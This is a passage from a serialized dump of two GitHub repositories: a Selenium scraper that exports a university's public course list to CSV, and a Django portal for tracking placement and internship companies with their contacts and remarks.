chrome_options=options)\n\n def __pullSubjects(self):\n self.driver.get(self.url)\n sleep(3)\n\n soup = BeautifulSoup(self.driver.page_source,'html.parser')\n option = soup.find(id = \"term_subj\")\n subjects = option.select('option[value]')\n\n allSubjects = [];\n for subject in subjects:\n allSubjects.append([\n subject.get('value'),\n subject.text\n ])\n\n\n\n allSubjects.pop(0)\n self.driver.quit()\n return allSubjects\n\n\n def getSubjects(self):\n return self.subjects;\n"},{"alpha_fraction":0.629512369632721,"alphanum_fraction":0.6459784507751465,"avg_line_length":27.196428298950195,"blob_id":"8aa8f23be9f783e1e14cdc9c7526d772b1003d2a","content_id":"b559a02a60f0dedd7733f904bbaee145e0887334","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1579,"license_type":"no_license","max_line_length":191,"num_lines":56,"path":"/SingleSubjectScraper.py","repo_name":"skylarbarrera/courselist-webScraperWM","src_encoding":"UTF-8","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nfrom selenium import webdriver\n\n\n\nSubjects = [];\n# Term = 202020\n# Subject = CSCI\n#classInfo = 'https://courselist.wm.edu/courselist/courseinfo/addInfo?fterm=202020&fcrn=23740'\n\nclass SingleSubjectScraper:\n def __init__(self,term,subject):\n self.term = term\n self.subject = subject\n self.url = 'https://courselist.wm.edu/courselist/courseinfo/searchresults?term_code={}&term_subj={}&attr=0&attr2=0&levl=0&status=0&ptrm=0&search=Search'.format(self.term,self.subject)\n\n\n self.driver = self.__setupDriver();\n self.classes = self.__pullClasses();\n\n\n def __setupDriver(self):\n\n options = webdriver.ChromeOptions()\n options.binary_location = \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\n chrome_driver_binary = \"/usr/local/bin/chromedriver\"\n return webdriver.Chrome(chrome_driver_binary, chrome_options=options)\n\n def __pullClasses(self):\n self.driver.get(self.url)\n sleep(3)\n\n soup = BeautifulSoup(self.driver.page_source,'html.parser')\n #print(soup)\n\n\n allClasses = soup.find_all(\"tr\")\n\n\n allClassesData = []\n for i in allClasses:\n oneClass = i.find_all(\"td\");\n tempClass =[]\n for item in oneClass:\n tempClass.append(item.text.strip())\n\n allClassesData.append(tempClass)\n allClassesData.pop(0)\n self.driver.quit()\n return allClassesData\n\n\n def getClasses(self):\n return self.classes;\n"},{"alpha_fraction":0.6839916706085205,"alphanum_fraction":0.704781711101532,"avg_line_length":34.62963104248047,"blob_id":"c1b9addd175fb6cb20f78abaef0b4ad436cd4577","content_id":"15a4e3e392a1b774d9a13b40743a73326df23a38","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":962,"license_type":"no_license","max_line_length":174,"num_lines":27,"path":"/allClassDriver.py","repo_name":"skylarbarrera/courselist-webScraperWM","src_encoding":"UTF-8","text":"from SingleSubjectScraper import SingleSubjectScraper\nfrom subjectScraper import SubjectScraper\nimport pandas as pd\nimport numpy as np\n\n\ntest = SubjectScraper()\n\nsubjects = test.getSubjects()\n\n\n#new = SingleSubjectScraper(\"202020\", 'CSCI')\ndf = pd.DataFrame( columns = [\"CRN\",\"COURSE ID\", \"ATTRIBUTES\", \"NAME\", \"PROFESSOR\",\"CREDITS\",\"DATE/TIME\",\"CAPACITY\",\"CURRENT\",\"AVAILABLE\",\"STATUS\"])\n#\n#new = SingleSubjectScraper(\"202020\", subject[0])\n\n# newDf = pd.DataFrame( new.getClasses(), columns = [\"CRN\",\"COURSE ID\", \"ATTRIBUTES\", \"NAME\", \"PROFESSOR\",\"CREDITS\",\"DATE/TIME\",\"CAPACITY\",\"CURRENT\",\"AVAILABLE\",\"STATUS\"])\nfor subject in subjects:\n\n new = SingleSubjectScraper(\"202020\", subject[0])\n newDf = pd.DataFrame( new.getClasses(), columns = [\"CRN\",\"COURSE ID\", \"ATTRIBUTES\", \"NAME\", \"PROFESSOR\",\"CREDITS\",\"DATE/TIME\",\"CAPACITY\",\"CURRENT\",\"AVAILABLE\",\"STATUS\"])\n df = df.append(newDf)\n\n#df.transpose()\nprint(df)\n\nexport_csv = df.to_csv(\"allClasses.csv\")\n"}],"string":"[\n {\n \"alpha_fraction\": 0.622107982635498,\n \"alphanum_fraction\": 0.6246786713600159,\n \"avg_line_length\": 24.933332443237305,\n \"blob_id\": \"a41a68bf2d23dc4980a323df16ce902ba910213a\",\n \"content_id\": \"00f3f6f71b0e9b344437795e7de20eb11d64187d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1167,\n \"license_type\": \"no_license\",\n \"max_line_length\": 96,\n \"num_lines\": 45,\n \"path\": \"/subjectScraper.py\",\n \"repo_name\": \"skylarbarrera/courselist-webScraperWM\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nfrom bs4 import BeautifulSoup\\nfrom time import sleep\\nfrom selenium import webdriver\\n\\nclass SubjectScraper:\\n def __init__(self):\\n self.url = \\\"https://courselist.wm.edu/courselist/\\\"\\n\\n\\n self.driver = self.__setupDriver();\\n self.subjects = self.__pullSubjects();\\n\\n\\n def __setupDriver(self):\\n\\n options = webdriver.ChromeOptions()\\n options.binary_location = \\\"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\\\"\\n chrome_driver_binary = \\\"/usr/local/bin/chromedriver\\\"\\n return webdriver.Chrome(chrome_driver_binary, chrome_options=options)\\n\\n def __pullSubjects(self):\\n self.driver.get(self.url)\\n sleep(3)\\n\\n soup = BeautifulSoup(self.driver.page_source,'html.parser')\\n option = soup.find(id = \\\"term_subj\\\")\\n subjects = option.select('option[value]')\\n\\n allSubjects = [];\\n for subject in subjects:\\n allSubjects.append([\\n subject.get('value'),\\n subject.text\\n ])\\n\\n\\n\\n allSubjects.pop(0)\\n self.driver.quit()\\n return allSubjects\\n\\n\\n def getSubjects(self):\\n return self.subjects;\\n\"\n },\n {\n \"alpha_fraction\": 0.629512369632721,\n \"alphanum_fraction\": 0.6459784507751465,\n \"avg_line_length\": 27.196428298950195,\n \"blob_id\": \"8aa8f23be9f783e1e14cdc9c7526d772b1003d2a\",\n \"content_id\": \"b559a02a60f0dedd7733f904bbaee145e0887334\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1579,\n \"license_type\": \"no_license\",\n \"max_line_length\": 191,\n \"num_lines\": 56,\n \"path\": \"/SingleSubjectScraper.py\",\n \"repo_name\": \"skylarbarrera/courselist-webScraperWM\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nfrom bs4 import BeautifulSoup\\nfrom time import sleep\\nfrom selenium import webdriver\\n\\n\\n\\nSubjects = [];\\n# Term = 202020\\n# Subject = CSCI\\n#classInfo = 'https://courselist.wm.edu/courselist/courseinfo/addInfo?fterm=202020&fcrn=23740'\\n\\nclass SingleSubjectScraper:\\n def __init__(self,term,subject):\\n self.term = term\\n self.subject = subject\\n self.url = 'https://courselist.wm.edu/courselist/courseinfo/searchresults?term_code={}&term_subj={}&attr=0&attr2=0&levl=0&status=0&ptrm=0&search=Search'.format(self.term,self.subject)\\n\\n\\n self.driver = self.__setupDriver();\\n self.classes = self.__pullClasses();\\n\\n\\n def __setupDriver(self):\\n\\n options = webdriver.ChromeOptions()\\n options.binary_location = \\\"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\\\"\\n chrome_driver_binary = \\\"/usr/local/bin/chromedriver\\\"\\n return webdriver.Chrome(chrome_driver_binary, chrome_options=options)\\n\\n def __pullClasses(self):\\n self.driver.get(self.url)\\n sleep(3)\\n\\n soup = BeautifulSoup(self.driver.page_source,'html.parser')\\n #print(soup)\\n\\n\\n allClasses = soup.find_all(\\\"tr\\\")\\n\\n\\n allClassesData = []\\n for i in allClasses:\\n oneClass = i.find_all(\\\"td\\\");\\n tempClass =[]\\n for item in oneClass:\\n tempClass.append(item.text.strip())\\n\\n allClassesData.append(tempClass)\\n allClassesData.pop(0)\\n self.driver.quit()\\n return allClassesData\\n\\n\\n def getClasses(self):\\n return self.classes;\\n\"\n },\n {\n \"alpha_fraction\": 0.6839916706085205,\n \"alphanum_fraction\": 0.704781711101532,\n \"avg_line_length\": 34.62963104248047,\n \"blob_id\": \"c1b9addd175fb6cb20f78abaef0b4ad436cd4577\",\n \"content_id\": \"15a4e3e392a1b774d9a13b40743a73326df23a38\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 962,\n \"license_type\": \"no_license\",\n \"max_line_length\": 174,\n \"num_lines\": 27,\n \"path\": \"/allClassDriver.py\",\n \"repo_name\": \"skylarbarrera/courselist-webScraperWM\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from SingleSubjectScraper import SingleSubjectScraper\\nfrom subjectScraper import SubjectScraper\\nimport pandas as pd\\nimport numpy as np\\n\\n\\ntest = SubjectScraper()\\n\\nsubjects = test.getSubjects()\\n\\n\\n#new = SingleSubjectScraper(\\\"202020\\\", 'CSCI')\\ndf = pd.DataFrame( columns = [\\\"CRN\\\",\\\"COURSE ID\\\", \\\"ATTRIBUTES\\\", \\\"NAME\\\", \\\"PROFESSOR\\\",\\\"CREDITS\\\",\\\"DATE/TIME\\\",\\\"CAPACITY\\\",\\\"CURRENT\\\",\\\"AVAILABLE\\\",\\\"STATUS\\\"])\\n#\\n#new = SingleSubjectScraper(\\\"202020\\\", subject[0])\\n\\n# newDf = pd.DataFrame( new.getClasses(), columns = [\\\"CRN\\\",\\\"COURSE ID\\\", \\\"ATTRIBUTES\\\", \\\"NAME\\\", \\\"PROFESSOR\\\",\\\"CREDITS\\\",\\\"DATE/TIME\\\",\\\"CAPACITY\\\",\\\"CURRENT\\\",\\\"AVAILABLE\\\",\\\"STATUS\\\"])\\nfor subject in subjects:\\n\\n new = SingleSubjectScraper(\\\"202020\\\", subject[0])\\n newDf = pd.DataFrame( new.getClasses(), columns = [\\\"CRN\\\",\\\"COURSE ID\\\", \\\"ATTRIBUTES\\\", \\\"NAME\\\", \\\"PROFESSOR\\\",\\\"CREDITS\\\",\\\"DATE/TIME\\\",\\\"CAPACITY\\\",\\\"CURRENT\\\",\\\"AVAILABLE\\\",\\\"STATUS\\\"])\\n df = df.append(newDf)\\n\\n#df.transpose()\\nprint(df)\\n\\nexport_csv = df.to_csv(\\\"allClasses.csv\\\")\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2984085,"cells":{"repo_name":{"kind":"string","value":"Naman027/Intern-Placement-CCD-Portal"},"repo_url":{"kind":"string","value":"https://github.com/Naman027/Intern-Placement-CCD-Portal"},"snapshot_id":{"kind":"string","value":"68a470cc21ff2581d3c9b8d9c48bd014e6980101"},"revision_id":{"kind":"string","value":"a0514f1650b71c86c72c9f8b4a249c3858be3534"},"directory_id":{"kind":"string","value":"a842b6e540851419c31990671194b14a38560ac0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-07-10T13:23:05.729696","string":"2023-07-10T13:23:05.729696"},"revision_date":{"kind":"timestamp","value":"2021-08-23T07:20:12","string":"2021-08-23T07:20:12"},"committer_date":{"kind":"timestamp","value":"2021-08-23T07:20:12","string":"2021-08-23T07:20:12"},"github_id":{"kind":"number","value":399005118,"string":"399,005,118"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5942480564117432,"alphanum_fraction":0.5967645049095154,"avg_line_length":36.936363220214844,"blob_id":"d95b395d724a4a4d7899375b97fe72d11a494535","content_id":"c636b87346f5c2cc3cf2e8375b9db225273c074e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8345,"license_type":"no_license","max_line_length":133,"num_lines":220,"path":"/Diary_Portal/diary/views.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"from django.shortcuts import render\nfrom .models import company,remarks\nfrom . import forms\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.urls import reverse\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.forms import PasswordChangeForm\nfrom django.contrib import messages\n\n\ndef session_logout(request):\n\tlogout(request)\n\treturn HttpResponseRedirect(reverse('main_page'))\n\ndef getPlacement(request):\n print(\"Entered in getPlacement\")\n list = company.objects.filter(placement=True)\n if request.POST:\n print(\"CHECK1\")\n print('post', request.POST)\n if request.user.is_authenticated:\n return getmainpage(request)\n username = request.POST.get('Username')\n password = request.POST.get('Password')\n print('{} {}'.format(username, password))\n user = authenticate(username=username, password=password)\n if user and user.first_name==\"PLACEMENT\":\n print(\"CHECK2\")\n if user.is_active:\n print(\"CHECK3\")\n login(request, user)\n return HttpResponseRedirect(reverse('main_page'))\n else:\n print(\"CHECK4\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK5\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK6\")\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n\n\ndef getIntern(request):\n list = company.objects.filter(placement=False)\n if request.POST:\n print(\"CHECK1\")\n print('post', request.POST)\n if request.user.is_authenticated:\n return getmainpage(request)\n username = request.POST.get('Username')\n password = request.POST.get('Password')\n print('{} {}'.format(username, password))\n user = authenticate(username=username, password=password)\n if user and user.first_name==\"INTERN\":\n print(\"CHECK2\")\n if user.is_active:\n print(\"CHECK3\")\n login(request, user)\n return HttpResponseRedirect(reverse('main_page'))\n else:\n print(\"CHECK4\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK5\")\n messages.error(request, 'Invalid Details')\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n else:\n print(\"CHECK6\")\n form = forms.authentication()\n return render(request, 'diary/Auth.html', {'form': form})\n\ndef placement_edit(request,cpk):\n c = company.objects.get(pk=cpk)\n final1 = []\n final1.append(c)\n return render(request, 'diary/edit_company.html', {'company': final1})\n\ndef getmainpage(request):\n if request.user.is_authenticated:\n print(\"Authenticated\")\n print('{} {}',request.user.username)\n if request.user.first_name==\"INTERN\":\n return render(request, 'diary/intern_base.html')\n if request.user.first_name==\"PLACEMENT\":\n return render(request, 'diary/placement_base.html')\n else:\n print(\"Not Authenticated\")\n return render(request,'diary/placement_or_intern.html')\n\n\ndef getremarks(request,pk):\n c = company.objects.get(pk=pk)\n remark = remarks.objects.filter(company=c).order_by('datetime').reverse()\n return render(request,'diary/company_remarks.html',{'remark':remark})\n\n\ndef save_changes_view(request,pk):\n c = company.objects.get(pk=pk)\n if request.method=='POST':\n form = forms.save_changes(request.POST)\n if form.is_valid():\n poc = form.cleaned_data['POC']\n cpoc = form.cleaned_data['CPOC']\n remark = form.cleaned_data['Remark']\n c.CPOC = cpoc\n c.POC = poc\n c.TopRemark = remark\n c.save()\n print(poc+\" \"+cpoc+\" \"+remark)\n remarks(company=c,remark=remark,CPOC=cpoc).save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n form = forms.save_changes()\n return render(request,'diary/edit_company.html',{'form':form,'c':c})\n\n\ndef add_placement_company(request):\n if request.method=='POST':\n form = forms.add_company(request.POST)\n if form.is_valid():\n c = company()\n c.CompanyName = form.cleaned_data['CompanyName']\n c.POC = form.cleaned_data['POC']\n c.CPOC = form.cleaned_data['CPOC']\n c.placement = True\n c.TopRemark = form.cleaned_data['Remark']\n c.save()\n remarks(company=c,remark=c.TopRemark,CPOC=c.CPOC,POC=c.POC).save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n form = forms.add_company()\n return render(request,'diary/add_company.html',{'form':form})\n\ndef add_intern_company(request):\n if request.method=='POST':\n form = forms.add_company(request.POST)\n if form.is_valid():\n c = company()\n c.CompanyName = form.cleaned_data['CompanyName']\n c.POC = form.cleaned_data['POC']\n c.CPOC = form.cleaned_data['CPOC']\n c.placement = False\n c.TopRemark = form.cleaned_data['Remark']\n c.save()\n remarks(company=c,remark=c.TopRemark,CPOC=c.CPOC,POC=c.POC).save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n form = forms.add_company()\n return render(request,'diary/add_company.html',{'form':form})\n\ndef searchPlacement(request):\n print('I m Here')\n if request.method == 'POST':\n print(\"success\")\n search_text = request.POST['search_text1']\n all_company =(company.objects.filter(CompanyName__contains=search_text)|company.objects.filter(POC__contains=search_text))\n temp = all_company\n for c in all_company:\n if c.placement == False:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results1.html', {'all_company': temp})\n else:\n print(\"fail\")\n search_text = ''\n all_company = company.objects.all()\n temp = all_company\n for c in all_company:\n if c.placement == False:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results1.html', {'all_company': temp})\n\n\ndef searchIntern(request):\n print('I m Here')\n if request.method == 'POST':\n print(\"success\")\n search_text = request.POST['search_text2']\n all_company = (company.objects.filter(CompanyName__contains=search_text) | company.objects.filter(POC__contains=search_text))\n temp = all_company\n for c in all_company:\n if c.placement == True:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results2.html', {'all_company': temp})\n else:\n print(\"fail\")\n search_text = ''\n all_company = company.objects.all()\n temp = all_company\n for c in all_company:\n if c.placement == True:\n temp = temp.exclude(pk=c.pk)\n return render(request, 'diary/ajax_results2.html', {'all_company': temp})\n\n\n\ndef change_password(request):\n\tif request.user.is_authenticated:\n\t if request.method == 'POST':\n\t form = PasswordChangeForm(request.user, request.POST)\n\t if form.is_valid():\n\t user = form.save()\n\t messages.success(request, 'Your password was successfully updated!')\n\t return HttpResponseRedirect(reverse('main_page'))\n\t else:\n\t messages.error(request, 'Please correct the error below.')\n\t else:\n\t form = PasswordChangeForm(request.user)\n\t return render(request, 'diary/edit_ID.html', {\n\t 'form': form\n\t })\n\treturn HttpResponseRedirect(reverse('main_page'))"},{"alpha_fraction":0.5491183996200562,"alphanum_fraction":0.5969773530960083,"avg_line_length":21.05555534362793,"blob_id":"c2d21fb0054b6b488a79e9ceec279bf9af546b6d","content_id":"e22232ceeca2903ef65a7aec9f1ec2f23257567a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":397,"license_type":"no_license","max_line_length":54,"num_lines":18,"path":"/Diary_Portal/diary/migrations/0007_remarks_datetime.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-02 09:25\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0006_remove_remarks_companyname'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='remarks',\n name='datetime',\n field=models.DateTimeField(auto_now=True),\n ),\n ]\n"},{"alpha_fraction":0.6822066903114319,"alphanum_fraction":0.7264957427978516,"avg_line_length":54.91304397583008,"blob_id":"87bf198d20598f675d90c63afebd0df3e01ea334","content_id":"a94cdd99fcd815ec9ed09728bc11f324362a5a95","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1287,"license_type":"no_license","max_line_length":102,"num_lines":23,"path":"/Diary_Portal/diary/forms.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"from django import forms\n\nclass save_changes(forms.Form):\n POC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n CPOC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n Remark = forms.CharField(widget=forms.Textarea(attrs={'rows':4, 'cols':55}))\n\nclass add_company(forms.Form):\n CompanyName = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n POC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n CPOC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\n Remark = forms.CharField(widget=forms.Textarea(attrs={'rows':4, 'cols':55}))\n\nclass authentication(forms.Form):\n Username = forms.CharField(max_length=100)\n Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n\nclass change_username_password(forms.Form):\n Current_Username = forms.CharField(max_length=100)\n Current_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n New_Username = forms.CharField(max_length=100)\n New_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n Confirm_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\n\n"},{"alpha_fraction":0.5280373692512512,"alphanum_fraction":0.5794392228126526,"avg_line_length":21.526315689086914,"blob_id":"074ab92c54b8764e2275c2949b05c1ef3eb44032","content_id":"df95a71928d3dc81ff40ac65858a161c4bef36bb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":428,"license_type":"no_license","max_line_length":63,"num_lines":19,"path":"/Diary_Portal/diary/migrations/0013_remarks_poc.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-21 15:51\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0012_company_topremark'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='remarks',\n name='POC',\n field=models.CharField(default='', max_length=100),\n preserve_default=False,\n ),\n ]\n"},{"alpha_fraction":0.5382775068283081,"alphanum_fraction":0.5837320685386658,"avg_line_length":21,"blob_id":"8d0b04c83982531b1283b53e66dee998bb45de21","content_id":"bfd81d480be2fade74aa028ce4845ce4da0df61f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":418,"license_type":"no_license","max_line_length":52,"num_lines":19,"path":"/Diary_Portal/diary/migrations/0009_company_placement.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-14 16:28\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0008_remarks_cpoc'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='company',\n name='placement',\n field=models.BooleanField(default=True),\n preserve_default=False,\n ),\n ]\n"},{"alpha_fraction":0.5811966061592102,"alphanum_fraction":0.6239316463470459,"avg_line_length":23.63157844543457,"blob_id":"5397bd02ee93e5cccd84f42e9eba20eef517cd9f","content_id":"bebe2cca8fb8120a5b4a096c48585ac783e245aa","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":468,"license_type":"no_license","max_line_length":112,"num_lines":19,"path":"/Diary_Portal/diary/migrations/0004_remarks_company.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-02 05:35\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0003_remarks'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='remarks',\n name='company',\n field=models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='diary.company'),\n ),\n ]\n"},{"alpha_fraction":0.6686217188835144,"alphanum_fraction":0.6686217188835144,"avg_line_length":52.894737243652344,"blob_id":"0e425cbe2cbb53bd1055cbb510c9adcd6c74c1f1","content_id":"8a54f02876bf5a06e9358f0644867985e4aca10a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1023,"license_type":"no_license","max_line_length":95,"num_lines":19,"path":"/Diary_Portal/diary/urls.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"from django.conf.urls import url,include\nfrom . import views\nurlpatterns = [\n\n url(r'^$',views.getmainpage,name='main_page'),\n url(r'^placement/remarks/(?P<pk>\\d+)/$', views.getremarks, name='premarks'),\n url(r'^intern/remarks/(?P<pk>\\d+)/$', views.getremarks, name='iremarks'),\n url(r'placement/$', views.getPlacement,name='placement'),\n url(r'intern/$', views.getIntern, name='intern'),\n url(r'^intern/(?P<pk>\\d+)/$', views.save_changes_view, name='intern_company_edit'),\n url(r'^placement/(?P<pk>\\d+)/$', views.save_changes_view, name='placement_company_edit'),\n url(r'placement_add_company/$', views.add_placement_company, name='placement_add_company'),\n url(r'intern_add_company/$', views.add_intern_company, name='intern_add_company'),\n \turl(r'placement/search/$', views.searchPlacement, name='search'),\n url(r'intern/search/$', views.searchIntern, name='search'),\n url(r'logout/$', views.session_logout, name='logout'),\n url(r'edit_ID/$', views.change_password, name='edit_ID')\n\n]"},{"alpha_fraction":0.5199999809265137,"alphanum_fraction":0.5784615278244019,"avg_line_length":18.117647171020508,"blob_id":"12dfeef41587a181d879a0aa62586ff9b6a4ed4c","content_id":"8952b2abb0773dc244565f2d4686e7b460a31a5e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":325,"license_type":"no_license","max_line_length":47,"num_lines":17,"path":"/Diary_Portal/diary/migrations/0005_remove_company_remarks.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-02 06:02\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0004_remarks_company'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='company',\n name='Remarks',\n ),\n ]\n"},{"alpha_fraction":0.7384843826293945,"alphanum_fraction":0.7429420351982117,"avg_line_length":22.20689582824707,"blob_id":"e630311024bcd1d6b698e6cb3b443735ca95fafe","content_id":"874d30595393d91f99ad1be1d47424cffdd13ec5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":673,"license_type":"no_license","max_line_length":121,"num_lines":29,"path":"/README.md","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Intern-and-Placement-CCD-Portal\n\n## About The Project\n>This is CCD's Diary Portal used during Internships as well as Placements. \n<li>Developed CCD portal's diary component to automate the remark system.</li>\n<li>Implemented proffering, searching, addition as well as removal of companies, their remarks and respective POC's.</li>\n<li>Different Pages for Intern and Placements related things</li>\n\n## Built With\n### Backend\n<li>Django - Python</li>\n\n### Frontend\n<li>HTML</li>\n<li>CSS</li>\n\n## Prerequisites\n1. Python\n2. Basic HTML,CSS \n3. Django Framework\n\n## Usage\n```\nClone this git repo.\nJust run a django server.\n\n```\n\nFurther Contributions/Suggestions are welcome.\n"},{"alpha_fraction":0.5333333611488342,"alphanum_fraction":0.5785714387893677,"avg_line_length":21.105262756347656,"blob_id":"131b8673b2a7251bb33cb827793ee898d1af3405","content_id":"def1310558f0799f8596ecc07480b74e574aa8a6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":420,"license_type":"no_license","max_line_length":51,"num_lines":19,"path":"/Diary_Portal/diary/migrations/0012_company_topremark.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-15 09:06\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0011_delete_row_base'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='company',\n name='TopRemark',\n field=models.TextField(default='NULL'),\n preserve_default=False,\n ),\n ]\n"},{"alpha_fraction":0.7881944179534912,"alphanum_fraction":0.7881944179534912,"avg_line_length":23.08333396911621,"blob_id":"d640a7b99c1322ba1dcca8a97c9541c02569aded","content_id":"81b4f515e341da56f405a848013d320b32282f33","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":288,"license_type":"no_license","max_line_length":41,"num_lines":12,"path":"/Diary_Portal/diary/admin.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"from django.contrib import admin\nfrom .models import company,remarks\n# Register your models here.\n\n\nclass remarksInline(admin.StackedInline):\n model = remarks\n\nclass courseadmin(admin.ModelAdmin):\n inlines = [remarksInline,]\nadmin.site.register(company)\nadmin.site.register(remarks)"},{"alpha_fraction":0.5,"alphanum_fraction":0.5598591566085815,"avg_line_length":26.047618865966797,"blob_id":"9f069d05b9850b464b3d5dae61449144633b5cc0","content_id":"a347d8a637b121eb962e833986a354510de9d79b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":568,"license_type":"no_license","max_line_length":114,"num_lines":21,"path":"/Diary_Portal/diary/migrations/0003_remarks.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-01 13:07\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0002_auto_20200201_0704'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='remarks',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('CompanyName', models.CharField(max_length=100)),\n ('remark', models.TextField()),\n ],\n ),\n 